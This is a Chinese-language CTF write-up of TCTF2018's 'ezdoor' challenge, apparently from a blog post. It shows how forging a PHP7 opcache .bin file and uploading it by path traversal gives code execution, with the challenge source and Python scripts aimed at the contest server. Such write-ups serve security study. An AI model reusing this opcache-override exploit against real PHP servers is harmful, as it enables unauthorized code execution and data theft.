php7的opcache導致的getshell

以TCTF2018的ezdoor為例

相關WP
正解
https://github.com/LyleMi/My-CTF-Challenges/tree/master/ezDoor
非預期解:index.php/. + 條件競爭
https://blog.zsxsoft.com/post/36
非預期解:/x/../index.php/.
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

相關知識點
https://xz.aliyun.com/t/223
https://github.com/GoSecure/php7-opcache-override
要求:

  • 目標服務器是php7并開啟了opcache緩存
  • 獲得目標詳細的各種環境信息,最直接的是拿到phpinfo
  • 支持文件上傳,能上傳.bin文件到tmp目錄下
  • 若目標服務器開啟了時間戳校驗,要么爆破時間戳,或者cms的大部分文件并不會被修改,時間戳與源碼一致

賽題
http://202.120.7.217:9527
訪問index.php給出了源碼,順便加了點調試的代碼,方便本地調試

 <?php

#error_reporting(1);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';  #/sandbox/ip的sha1/
if(!file_exists($dir)){

  mkdir($dir);  #新建了這個路徑
}
if(!file_exists($dir . "index.php")){
#   echo '111111';
  touch($dir . "index.php"); #新建了/sandbox/ip的sha1/index.php
}

function clear($dir) #清空功能
{
  if(!is_dir($dir)){
    unlink($dir);
    return;
  }
  foreach (scandir($dir) as $file) {
    if (in_array($file, [".", ".."])) {
      continue;
    }
    unlink($dir . $file);
  }
  rmdir($dir);
}

switch ($_GET["action"] ?? "") {  #顯示路徑
  case 'pwd':
    echo $dir;
    break;
  case 'phpinfo':
    echo file_get_contents("phpinfo.txt"); #顯示phpinfo.txt
    break;
  case 'reset': #清空路徑
    clear($dir);
    break;
  case 'time':
    echo time(); #顯示時間
    break;
  case 'upload': #上傳
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
      break; #需要自定義好參數
    }

    if ($_FILES['file']['size'] > 100000) {
      clear($dir); #大小限制
      break;
    }

    $name = $dir . $_GET["name"]; #獲取文件名

    echo '目錄-----';
    echo var_dump($dir);
    echo '文件路徑-----';
    echo var_dump($name);
    echo '后綴名-----';
    echo var_dump(pathinfo($name)["extension"]);
    echo '是否是正常目錄,是就返回0-----';
    echo var_dump(preg_match("/[^a-zA-Z0-9.\/]/", $name));
    echo '檢查后綴名是否含有h-----';
    echo var_dump(stristr(pathinfo($name)["extension"], "h"));

    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || #文件名范圍:^a-zA-Z0-9 . / 是正常目錄則返回0.不會進入if條件
      stristr(pathinfo($name)["extension"], "h")) { #若文件后綴名含有h,則退出
      break;
    }

    echo '文件是否上傳成功:';
    echo var_dump(move_uploaded_file($_FILES['file']['tmp_name'], $name)); #成功上傳文件
    $size = 0;
    foreach (scandir($dir) as $file) {
      if (in_array($file, [".", ".."])) {  #上傳成功會列出$dir下的目錄,遇到文件名有.或者..就跳過
        continue;                          
      }
      $size += filesize($dir . $file); #大小限制
    }
    if ($size > 100000) {
      clear($dir);
    }
    echo 'include file-----';
    echo var_dump($dir . "index.php");
    echo 'content------';
    echo var_dump(file_get_contents($dir . "index.php"));
    echo var_dump(scandir($dir));
    break;
  case 'shell': #限制了兩個目錄,在這兩個目錄下可以執行shell命令,說明$dir/index.php是命令執行馬
    ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
    include $dir . "index.php"; #會包含index.php
    break;
  #default:
  #  highlight_file(__FILE__);
  #  break;
}

每次遇到新的知識點,需要的就是靜下心來讀paper

給出一些關鍵信息的截圖

image.png
image.png
image.png
image.png

那么思路來了

  • 先在本地搭建環境,生成自己的index.php的opcache
  • 訪問目標服務器的index.php?action=phpinfo,得到phpinfo,并通過項目https://github.com/GoSecure/php7-opcache-override計算得到其system_id
  • 先訪問index.php?action=reset再訪問index.php?action=time,清空服務器的index.php然后重新touch index.php,并獲得其時間戳
  • 修改自己本地的index.php.bin的system_id和時間戳,與服務器相同,并上傳到目標服務器的tmp相應目錄下
  • 訪問index.php?action=shell,成功include index.php,此時以緩存的內容為主,成功 get shell

本地環境搭建

編輯php7的php.ini,添加三句話,然后重啟apache,訪問得到自己的index.php.bin

opcache.validate_timestamps = 1   ; PHP 7 的默認值為 1,即開啟時間戳校驗
opcache.file_cache_only = 1      ; PHP 7 的默認值為 0
opcache.file_cache = /tmp/cache
zend_extension=opcache.so ;有些還需要再添加這句
image.png
image.png

image.png

獲得目標服務器的system_id和時間戳

index.php?action=phpinfo得到服務器的phpinfo.txt
git clone https://github.com/GoSecure/php7-opcache-override
修改其腳本的內容

image.png

image.png

先reset,再獲得服務器index.php的時間戳

image.png

get-time.py

import requests

url = 'http://202.120.7.217:9527/index.php?action=reset'
r = requests.get(url)

url = 'http://202.120.7.217:9527/index.php?action=time'
r = requests.get(url)

tmp =  hex(int(r.text)).replace('0x','')
time = tmp[6:8]+tmp[4:6]+tmp[2:4]+tmp[0:2]
print time

修改本地的index.php.bin的system_id和時間戳

建議用010editor


image.png

上傳修改后的index.php.bin到目標服務器對應的tmp目錄下

成功包含并get shell

image.png

upload.py

import requests

files = {'file': open("index.php.bin", 'rb')}
url = 'http://202.120.7.217:9527/index.php?action=upload&name=../../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/index.php.bin'
print 'upload url:'
print url
r = requests.post(url,files = files)
print r


url = 'http://202.120.7.217:9527/index.php?action=shell'
print 'shell:'
print requests.get(url).text

接下來各種寫shell

目標服務器的目錄權限限制,導致不能寫入一句話木馬
目標服務器的system等調用系統命令等函數被禁用,導致無法反彈shell
只能老老實實用php函數,讀取想要的東西

讀取目錄信息,發現可疑的文件或目錄
93f4c28c0cf0b07dfd7012dca2cb868cc0228cad

image.png
image.png

判斷 93f4c28c0cf0b07dfd7012dca2cb868cc0228cad 是一個文件

image.png

image.png

讀取文件
image.png

image.png

base64 -d base64.txt > flag

image.png

得到的是一個opcache的緩存文件,web狗的任務已經完成,接下來是re選手的事了,當時逆向選手已經睡了,我強行逆了一個晚上沒搞出來,2333

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • 1.寫在前面 本文主要介紹的是zabbix的編譯安裝過程,包含它的基礎環境LNMP,雖然zabbix官方一般推薦的...
    天之藍色閱讀 2,561評論 0 16
  • 更改ip和dnsVi /etc/sysconfig/network-scripts/ifcfg-eth0vi /...
    Xwei_閱讀 1,853評論 0 3
  • 架構師必須知道的26項PHP安全實踐 PHP是一種開源服務器端腳本語言,應用很廣泛。Apache web服務器提供...
    meng_philip123閱讀 6,104評論 1 161
  • PHP7 已經出來1年了,PHP7.1也即將和大家見面,這么多好的特性,好的方法,為什么不使用呢,也希望PHP越來...
    夢幻_78af閱讀 2,122評論 1 10
  • “十三五”的主要發展目標是,在提高質量與效益基礎上,經濟增長高于全國平均水平。2020年,生產總值達到3萬億元、人...
    柏聞_0d73閱讀 705評論 0 0